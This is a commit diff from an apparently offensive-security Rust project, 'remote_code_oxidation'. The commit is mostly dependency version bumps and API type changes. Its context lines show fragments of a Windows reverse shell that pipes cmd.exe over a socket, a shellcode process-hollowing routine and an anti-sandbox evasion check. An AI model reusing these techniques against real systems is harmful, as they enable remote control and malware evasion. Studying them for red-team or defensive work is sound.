admin/kmanc-remote_code_oxidation
1
0
Fork 0
mirror of https://github.com/kmanc/remote_code_oxidation synced 2026-06-08 15:21:46 +00:00
Code Issues Packages Projects Releases Wiki Activity

dependency_fix (#36)

Browse Source 
* the windows crate recently made another breaking change that they didnt acknowledge as breaking

* need to repin the windows crate to 0.33.0 so that old versions dont mess up compilation

* compile profiles drastically reduce binary size across the board

* small version bumps to reflect bugfix

* reordered for alphabtizing

* lock update

* Update reverse shell badge data via Github Action

* Update process hollowing badge data via Github Action

* missed a feature change for the fix

Co-authored-by: kmanc <kmanc@users.noreply.github.com>
This commit is contained in:
kmanc
2022-03-05 21:19:07 -08:00
committed by GitHub
parent c7b118babb
commit ba41e0a746
13 changed files with 55 additions and 50 deletions
Download Patch File Download Diff File Expand all files Collapse all files
.custom_shields/process_hollowing.json
+1 -1
View File
@@ -1,6 +1,6 @@
{
"schemaVersion": 1,
"label": "process_hollowing",
"message": "1.4.2",
"message": "1.4.3",
"color": "blue"
}
.custom_shields/tcp_reverse_shell.json
+1 -1
View File
@@ -1,6 +1,6 @@
{
"schemaVersion": 1,
"label": "tcp_reverse_shell",
"message": "1.1.3",
"message": "1.1.4",
"color": "blue"
}
Cargo.lock
Generated
+21 -21
View File
@@ -4,9 +4,9 @@ version = 3
[[package]]
name = "autocfg"
version = "1.0.1"
version = "1.1.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cdb031dd78e28731d87d56cc8ffef4a8f36ca26c38fe2de700543e627f8a464a"
checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa"
[[package]]
name = "bitflags"
@@ -16,9 +16,9 @@ checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
[[package]]
name = "cc"
version = "1.0.72"
version = "1.0.73"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "22a9137b95ea06864e018375b72adfb7db6e6f68cfc8df5a04d00288050485ee"
checksum = "2fff2a6927b3bb87f9595d67196a70493f627687a71d87a0d692242c33f58c11"
[[package]]
name = "cfg-if"
@@ -28,9 +28,9 @@ checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
[[package]]
name = "libc"
version = "0.2.117"
version = "0.2.119"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e74d72e0f9b65b5b4ca49a346af3976df0f9c61d550727f349ecd559f251a26c"
checksum = "1bf2e165bb3457c8e098ea76f3e3bc9db55f87aa90d52d0e6be741470916aaa4"
[[package]]
name = "memoffset"
@@ -56,7 +56,7 @@ dependencies = [
[[package]]
name = "process_hollowing"
version = "1.4.1"
version = "1.4.3"
dependencies = [
"nix",
"rco_config",
@@ -66,7 +66,7 @@ dependencies = [
[[package]]
name = "process_migration"
version = "1.6.1"
version = "1.6.2"
dependencies = [
"nix",
"rco_config",
@@ -87,7 +87,7 @@ dependencies = [
[[package]]
name = "tcp_reverse_shell"
version = "1.1.3"
version = "1.1.4"
dependencies = [
"rco_config",
"windows",
@@ -95,9 +95,9 @@ dependencies = [
[[package]]
name = "windows"
version = "0.32.0"
version = "0.33.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "fbedf6db9096bc2364adce0ae0aa636dcd89f3c3f2cd67947062aaf0ca2a10ec"
checksum = "0128fa8e65e0616e45033d68dc0b7fbd521080b7844e5cad3a4a4d201c4b2bd2"
dependencies = [
"windows_aarch64_msvc",
"windows_i686_gnu",
@@ -108,33 +108,33 @@ dependencies = [
[[package]]
name = "windows_aarch64_msvc"
version = "0.32.0"
version = "0.33.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d8e92753b1c443191654ec532f14c199742964a061be25d77d7a96f09db20bf5"
checksum = "cd761fd3eb9ab8cc1ed81e56e567f02dd82c4c837e48ac3b2181b9ffc5060807"
[[package]]
name = "windows_i686_gnu"
version = "0.32.0"
version = "0.33.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "6a711c68811799e017b6038e0922cb27a5e2f43a2ddb609fe0b6f3eeda9de615"
checksum = "cab0cf703a96bab2dc0c02c0fa748491294bf9b7feb27e1f4f96340f208ada0e"
[[package]]
name = "windows_i686_msvc"
version = "0.32.0"
version = "0.33.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "146c11bb1a02615db74680b32a68e2d61f553cc24c4eb5b4ca10311740e44172"
checksum = "8cfdbe89cc9ad7ce618ba34abc34bbb6c36d99e96cae2245b7943cd75ee773d0"
[[package]]
name = "windows_x86_64_gnu"
version = "0.32.0"
version = "0.33.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "c912b12f7454c6620635bbff3450962753834be2a594819bd5e945af18ec64bc"
checksum = "b4dd9b0c0e9ece7bb22e84d70d01b71c6d6248b81a3c60d11869451b4cb24784"
[[package]]
name = "windows_x86_64_msvc"
version = "0.32.0"
version = "0.33.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "504a2476202769977a040c6364301a3f65d0cc9e3fb08600b2bda150a0488316"
checksum = "ff1e4aa646495048ec7f3ffddc411e1d829c026a2ec62b39da15c1055e406eaa"
[[package]]
name = "xor_params"
Cargo.toml
+4
View File
@@ -8,3 +8,7 @@ members = [
"process_hollowing",
"xor_params",
]
[profile.release]
lto = true
strip = true
process_hollowing/Cargo.toml
+3 -3
View File
@@ -1,9 +1,9 @@
[package]
name = "process_hollowing"
version = "1.4.2"
version = "1.4.3"
edition = "2021"
authors = ["Kevin Conley <koins@duck.com>"]
rust-version = "1.58"
rust-version = "1.59"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
@@ -19,7 +19,7 @@ rco_utils = {path = "../rco_utils"}
nix = ">=0.16"
[target.'cfg(windows)'.dependencies]
windows.version = ">=0.26.0"
windows.version = ">=0.33.0"
windows.features = [
"Win32_Foundation",
"Win32_Security",
process_hollowing/src/rco_process_hollowing_windows/mod.rs
+4 -4
View File
@@ -1,7 +1,7 @@
extern crate windows;
use std::{mem, ptr};
use std::ffi::{CString, c_void};
use windows::Win32::Foundation::PSTR;
use windows::core::{PCSTR, PSTR};
use windows::Win32::System::Diagnostics::Debug::{ReadProcessMemory, WriteProcessMemory};
use windows::Win32::System::Threading::{CreateProcessA, CREATE_SUSPENDED, NtQueryInformationProcess, PROCESS_BASIC_INFORMATION, PROCESS_INFORMATION, PROCESSINFOCLASS, ResumeThread, STARTUPINFOA};
@@ -44,10 +44,10 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
// Use CreateProcessW to create a suspended process that will be hollowed out for the shellcode
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.CreateProcessW.html
let lp_application_name: PSTR = unsafe { mem::zeroed() };
let lp_application_name: PCSTR = unsafe { mem::zeroed() };
let mut lp_command_line: PSTR = unsafe { mem::zeroed() };
lp_command_line.0 = CString::new(target_process).unwrap().into_raw() as *mut u8;
let lp_current_directory: PSTR = unsafe { mem::zeroed() };
let lp_current_directory: PCSTR = unsafe { mem::zeroed() };
let creation_result = unsafe { CreateProcessA(
lp_application_name,
lp_command_line,
@@ -56,7 +56,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
false,
CREATE_SUSPENDED,
ptr::null() as *const _,
&lp_current_directory,
lp_current_directory,
&startup_info,
&mut process_information) };
if !creation_result.as_bool() {
process_migration/Cargo.toml
+2 -2
View File
@@ -3,7 +3,7 @@ name = "process_migration"
version = "1.6.2"
edition = "2021"
authors = ["Kevin Conley <koins@duck.com>"]
rust-version = "1.58"
rust-version = "1.59"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
@@ -19,7 +19,7 @@ rco_utils = {path = "../rco_utils"}
nix = ">=0.16"
[target.'cfg(windows)'.dependencies]
windows.version = ">=0.26.0"
windows.version = ">=0.33.0"
windows.features = [
"Win32_Foundation",
"Win32_Security",
rco_config/Cargo.toml
+1 -1
View File
@@ -3,7 +3,7 @@ name = "rco_config"
version = "0.2.0"
edition = "2021"
authors = ["Kevin Conley <koins@duck.com>"]
rust-version = "1.58"
rust-version = "1.59"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
rco_utils/Cargo.toml
+3 -3
View File
@@ -1,9 +1,9 @@
[package]
name = "rco_utils"
version = "0.3.0"
version = "0.3.1"
edition = "2021"
authors = ["Kevin Conley <koins@duck.com>"]
rust-version = "1.58"
rust-version = "1.59"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
@@ -13,7 +13,7 @@ antisand = ["windows"]
[target.'cfg(windows)'.dependencies]
windows.optional = true
windows.version = ">=0.26.0"
windows.version = ">=0.33.0"
windows.features = [
"Win32_Foundation",
"Win32_Networking",
rco_utils/src/lib.rs
+6 -6
View File
@@ -60,7 +60,7 @@ use std::ffi::CString;
#[cfg(all(windows, feature = "antisand"))]
extern crate windows;
#[cfg(all(windows, feature = "antisand"))]
use windows::Win32::Foundation::PSTR;
use windows::core::PCSTR;
#[cfg(all(windows, feature = "antisand"))]
use windows::Win32::Networking::WinInet::{InternetOpenA, InternetOpenUrlA};
@@ -70,18 +70,18 @@ pub fn pound_sand() -> bool {
// Call InternetOpenA to get a handle that can be used in an actual internet request
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopena
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinInet/fn.InternetOpenA.html
let mut lpsz_agent: PSTR = unsafe { mem::zeroed() };
let mut lpsz_agent: PCSTR = unsafe { mem::zeroed() };
lpsz_agent.0 = CString::new("Name in user-agent").unwrap().into_raw() as *mut u8;
let lpsz_proxy: PSTR = unsafe { mem::zeroed() };
let lpsz_proxy_bypass: PSTR = unsafe { mem::zeroed() };
let lpsz_proxy: PCSTR = unsafe { mem::zeroed() };
let lpsz_proxy_bypass: PCSTR = unsafe { mem::zeroed() };
let internet_handle = unsafe { InternetOpenA(lpsz_agent, 0, lpsz_proxy, lpsz_proxy_bypass, 0) };
// Call InternetOpenUrlA on a fake website; if there is a response, it's a sandbox trying to get you to take further action
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopenurla
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinInet/fn.InternetOpenUrlA.html
let mut lpsz_url: PSTR = unsafe { mem::zeroed() };
let mut lpsz_url: PCSTR = unsafe { mem::zeroed() };
lpsz_url.0 = CString::new("https://www.thisisafakewebsiteorelsetheantisanboxcheckwillfail4sure.com").unwrap().into_raw() as *mut u8;
let lpsz_headers: PSTR = unsafe { mem::zeroed() };
let lpsz_headers: PCSTR = unsafe { mem::zeroed() };
let website = unsafe { InternetOpenUrlA(internet_handle, lpsz_url, lpsz_headers, 0, 0, 0) };
if website != 0 as _ {
return true
tcp_reverse_shell/Cargo.toml
+3 -3
View File
@@ -1,9 +1,9 @@
[package]
name = "tcp_reverse_shell"
version = "1.1.3"
version = "1.1.4"
edition = "2021"
authors = ["Kevin Conley <koins@duck.com>"]
rust-version = "1.58"
rust-version = "1.59"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
@@ -11,7 +11,7 @@ rust-version = "1.58"
rco_config = {path = "../rco_config"}
[target.'cfg(windows)'.dependencies]
windows.version = ">=0.26.0"
windows.version = ">=0.33.0"
windows.features = [
"Win32_Foundation",
"Win32_Security",
tcp_reverse_shell/src/rco_reverse_shell_windows/mod.rs
+5 -4
View File
@@ -1,7 +1,8 @@
extern crate windows;
use std::{mem, ptr};
use std::ffi::{CString, c_void};
use windows::Win32::Foundation::{HANDLE, PSTR};
use windows::core::{PCSTR, PSTR};
use windows::Win32::Foundation::HANDLE;
use windows::Win32::Networking::WinSock::{connect, htons, inet_pton, SOCKADDR, SOCKADDR_IN, SOCKET, WSAData, WSASocketA, WSAStartup};
use windows::Win32::Security::SECURITY_ATTRIBUTES;
use windows::Win32::System::Threading::{CreateProcessA, PROCESS_CREATION_FLAGS, PROCESS_INFORMATION, STARTF_USESTDHANDLES, STARTUPINFOA};
@@ -46,7 +47,7 @@ pub fn shell(ip: &str, port: u16) {
// This is magic that I don't really understand but seems to work
let sin_addr_ptr: *mut c_void = &mut sockaddr_in.sin_addr as *mut _ as *mut c_void;
// Create a PSTR and use the IP string as the 0 field
let mut ip_pstr: PSTR = unsafe { mem::zeroed() };
let mut ip_pstr: PCSTR = unsafe { mem::zeroed() };
ip_pstr.0 = CString::new(ip).unwrap().into_raw() as *mut u8;
// Calling pton with the pointer sin_addr_ptr --> sockaddr_in.sin_addr should mean sockaddr_in.sin_addr has the IP struct now
let conversion_result = unsafe { inet_pton(AF_INET_I32, ip_pstr, sin_addr_ptr) };
@@ -78,13 +79,13 @@ pub fn shell(ip: &str, port: u16) {
startup_info.hStdInput = unsafe { *sock_handle };
startup_info.hStdOutput = unsafe { *sock_handle };
startup_info.hStdError = unsafe { *sock_handle };
let lp_application_name: PSTR = unsafe { mem::zeroed() };
let lp_application_name: PCSTR = unsafe { mem::zeroed() };
let mut lp_command_line: PSTR = unsafe { mem::zeroed() };
lp_command_line.0 = CString::new("C:\\Windows\\System32\\cmd.exe").unwrap().into_raw() as *mut u8;
let lp_process_attributes: SECURITY_ATTRIBUTES = unsafe { mem::zeroed() };
let lp_thread_attributes: SECURITY_ATTRIBUTES = unsafe { mem::zeroed() };
let dw_creation_flags: PROCESS_CREATION_FLAGS = unsafe { mem::zeroed() };
let lp_current_directory: PSTR = unsafe { mem::zeroed() };
let lp_current_directory: PCSTR = unsafe { mem::zeroed() };
let mut process_information: PROCESS_INFORMATION = unsafe { mem::zeroed() };
let create_res = unsafe {
CreateProcessA(lp_application_name,
xor_params/Cargo.toml
+1 -1
View File
@@ -3,7 +3,7 @@ name = "xor_params"
version = "1.1.1"
edition = "2021"
authors = ["Kevin Conley <koins@duck.com>"]
rust-version = "1.58"
rust-version = "1.59"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html